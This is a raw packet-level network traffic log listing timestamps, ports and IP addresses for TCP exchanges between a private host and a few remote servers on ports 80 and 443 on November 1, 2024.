Nov 1, 2024 03:46:31.808851004 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.810225964 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.810235023 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.810554028 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.813267946 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.813296080 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.813358068 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.833746910 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.833825111 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.833837032 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.833859921 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.833884954 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.833914042 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.833916903 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.833929062 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.833951950 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.833973885 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834002972 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834005117 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834017038 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834057093 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834057093 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834131956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834206104 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834218979 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834239960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834285975 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834386110 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834397078 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834407091 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834418058 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834440947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834465027 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834485054 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834522009 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834671974 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834724903 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834736109 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834783077 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834783077 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.834837914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834850073 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.834917068 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835037947 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835099936 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835110903 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835150003 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835150003 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835222006 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835233927 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835243940 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835274935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835274935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835299969 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835354090 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835397005 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835408926 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835419893 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835431099 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.835455894 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.835457087 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.875504017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.875551939 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.875566959 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.875601053 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.887321949 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.887403011 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.887455940 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.889278889 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.889293909 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.889306068 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.889311075 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.948278904 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.948385954 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.948472023 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.948764086 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.948798895 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.950515985 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950527906 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950587988 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.950587988 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.950731993 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950790882 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950802088 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950815916 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.950839996 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.950839996 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.950867891 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950881004 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950922966 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.950922966 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.950944901 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.950997114 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951000929 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951067924 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951072931 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951080084 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951174974 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951174974 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951208115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951220989 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951232910 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951244116 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951256037 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951275110 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951339006 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951386929 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951433897 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951497078 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951571941 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951592922 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951601028 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951617002 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951662064 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951668978 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951680899 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951728106 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951728106 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951750994 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951816082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951828003 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951841116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951879978 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951879978 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.951958895 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.951971054 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952028990 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952028990 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952096939 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952147007 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952148914 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952158928 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952203035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952203035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952225924 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952277899 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952364922 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952378035 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952389956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952402115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952413082 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952430964 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.952438116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952474117 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.952496052 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.038969040 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.038995028 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.039050102 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.039050102 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.043514013 CET	58537	80	192.168.2.6	185.215.113.206
Nov 1, 2024 03:46:32.067533970 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067589998 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067601919 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067632914 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.067632914 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.067666054 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.067676067 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067688942 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067699909 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067713022 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067740917 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.067760944 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.067874908 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067920923 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.067964077 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.067964077 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.067987919 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068001986 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068037033 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068051100 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068100929 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068111897 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068124056 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068159103 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068159103 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068236113 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068275928 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068295956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068308115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068337917 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068454981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068466902 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068478107 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068491936 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068509102 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068557024 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068643093 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068653107 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068694115 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068803072 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068846941 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068850994 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068860054 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.068898916 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.068914890 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069005966 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069017887 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069029093 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069041967 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069056034 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069092035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069092035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069211006 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069238901 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069252968 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069255114 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069267988 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069288969 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069289923 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069322109 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069535017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069552898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.069597006 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.069597006 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.140089989 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.140197992 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.140276909 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:32.145911932 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:32.145925999 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.145940065 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:32.145945072 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.149554968 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.154381037 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.154454947 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.154620886 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.159574032 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.184730053 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.184813023 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.184843063 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.184854984 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.184884071 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.184895039 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.184895992 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.184907913 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.184919119 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.184945107 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.184977055 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185031891 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185044050 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185055017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185075045 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185105085 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185173035 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185184956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185197115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185209036 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185229063 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185229063 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185246944 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185390949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185446978 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185471058 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185482979 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185492992 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185507059 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185520887 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185586929 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185587883 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185628891 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185648918 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185693979 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185774088 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185786009 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185802937 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185837030 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185890913 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185914993 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185926914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185937881 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185962915 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185962915 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185975075 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185975075 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.185986996 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.185997963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.186007023 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.186043978 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.186043978 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.186228037 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.186240911 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.186285019 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.186285019 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.186382055 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.186440945 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.186490059 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.186501980 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.186532021 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.227044106 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.227107048 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.227111101 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.227117062 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.227128029 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.227164984 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.227164984 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301402092 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301414013 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301426888 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301515102 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301515102 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301541090 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301558018 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301574945 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301584005 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301597118 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301616907 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301640987 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301687002 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301808119 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301851988 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.301876068 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301887035 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.301953077 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302007914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302082062 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302093983 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302103996 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302104950 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302145958 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302145958 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302218914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302289009 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302298069 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302346945 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302349091 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302361965 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302395105 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302438021 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302493095 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302506924 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302571058 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302583933 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302603960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302614927 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302695990 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302707911 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302719116 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302733898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302756071 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302756071 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302787066 CET	58536	80	192.168.2.6	185.215.113.16
